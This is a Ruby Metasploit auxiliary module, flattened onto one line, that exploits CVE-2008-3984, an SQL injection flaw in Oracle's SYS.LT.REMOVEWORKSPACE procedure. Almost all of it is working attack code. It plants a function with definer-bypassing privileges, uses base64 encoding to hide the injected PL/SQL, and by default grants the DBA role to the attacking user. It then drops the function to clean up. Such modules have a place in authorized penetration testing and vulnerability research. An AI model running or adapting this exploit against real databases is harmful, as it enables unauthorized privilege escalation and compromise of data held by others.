## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE', 'Description' => %q{ This module exploits an sql injection flaw in the REMOVEWORKSPACE procedure of the PL/SQL package SYS.LT. Any user with execute privilege on the vulnerable package can exploit this vulnerability. }, 'Author' => [ 'Sh2kerr ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2008-3984' ], [ 'OSVDB', '49326'] ], 'DisclosureDate' => 'Oct 13 2008')) register_options( [ OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), ], self.class) end def run return if not check_dependencies name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) cruft = Rex::Text.rand_text_alpha_upper(1) function = " CREATE OR REPLACE FUNCTION #{cruft} RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; COMMIT; RETURN '#{cruft}'; END;" package1 = %Q| BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | package2 = %Q| BEGIN SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | uno = Rex::Text.encode_base64(function) dos = Rex::Text.encode_base64(package1) tres = Rex::Text.encode_base64(package2) sql = %Q| DECLARE #{rand1} VARCHAR2(32767); #{rand2} VARCHAR2(32767); #{rand3} VARCHAR2(32767); BEGIN #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}'))); EXECUTE IMMEDIATE #{rand1}; #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}'))); EXECUTE IMMEDIATE #{rand2}; #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}'))); EXECUTE IMMEDIATE #{rand3}; END; | clean = "DROP FUNCTION #{cruft}" # Try first, if it's good.. keep doing the dance. print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...") begin prepare_exec(sql) rescue => e return end print_status("Removing function '#{cruft}'...") prepare_exec(clean) end end